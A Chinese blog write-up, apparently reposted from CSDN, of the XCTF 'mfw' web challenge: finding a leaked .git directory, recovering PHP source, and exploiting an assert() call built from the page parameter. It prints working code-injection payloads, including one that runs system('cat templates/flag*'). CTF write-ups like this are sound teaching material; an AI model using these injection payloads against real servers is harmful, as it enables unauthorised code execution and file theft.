码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • xctf攻防世界 Web高手进阶区 mfw


    0x01. 进入环境,查看问题

    题目给出的内容如图:
    在这里插入图片描述
    一通点击后,发现链接中出现page=***的字样,说明page传参是重点,是问题的突破口。

    0x02. 问题分析

    0x02_1. 使用dirsearch扫描看看

    在这里插入图片描述
    可以发现有很多.git文件,说明存在git泄露。。。

    0x02_2. 使用githack拉下来源码

    在这里,我们需要githack工具将代码拉下来,如图:
    在这里插入图片描述

    0x02_3. 代码审计

    我们挑选重要代码,查看index.php,如下:

    
    
    if (isset($_GET['page'])) {
    	$page = $_GET['page'];
    } else {
    	$page = "home";
    }
    
    $file = "templates/" . $page . ".php";
    
    // I heard '..' is dangerous!
    assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
    
    // TODO: Make this look nice
    assert("file_exists('$file')") or die("That file doesn't exist!");
    
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    可以看到,使用page传递参数,接着使用file进行拼接,最后使用assert断言进行执行相关程序。
    在这里,我们需要熟悉几个函数。

    strpos() 函数查找字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
    语法:strpos(string,find,start)
    参数 描述
    string 必需。规定要搜索的字符串。
    find 必需。规定要查找的字符串。
    start 可选。规定在何处开始搜索。

    file_exists() 函数检查文件或目录是否存在
    如果指定的文件或目录存在则返回 true,否则返回 false。

    PHP5: assert ( mixed $assertion [, string $description ] ) : bool
    PHP7: assert ( mixed $assertion [, Throwable $exception ] ) : bool
    assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动

    在这里,如果assertion是字符串,他会被assert()当做php代码执行。 思路是通过可控变量file传入恶意参数,构造闭合 file_exists(),使assert()执行恶意代码。

    0x02_4. 构造payload

    我们尝试使用:

    page=') or phpinfo();//
    
    • 1

    发现直接回显内容如图:
    在这里插入图片描述
    因为file有构造templates,猜测flag可能位于templates目录下,我们继续构造payload,如下:

    page=') or system("cat templates/flag*");//
    
    • 1

    回显无内容,实际上是被注释了,我们F12查看控制台回显,如图:
    在这里插入图片描述

    0x03. 构造原理

  • 相关阅读:
    NBextensions/JPT Notebook 载入问题(forbidden)
    python安装第三方包的几种方式
    【Android笔记51】Android之两种常见的数据交互方式(Activity和Activity、Activity和数据适配器)
    SpringBoot SpringBoot 开发实用篇 1 热部署 1.4 关闭热部署功能
    java177-获取应用程序的路径
    有一个整数单链表L,设计一个算法逆置L中所有结点,Java
    [hive] posexplode函数
    C++ Reference: Standard C++ Library reference: C Library: cstdio: putchar
    阿里大数据面试题集合:Hadoop+HBase+Spark+Zookeeper
    如何优化前端性能:提高网页加载速度的实用技巧
  • 原文地址:https://blog.csdn.net/l8947943/article/details/126280784
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号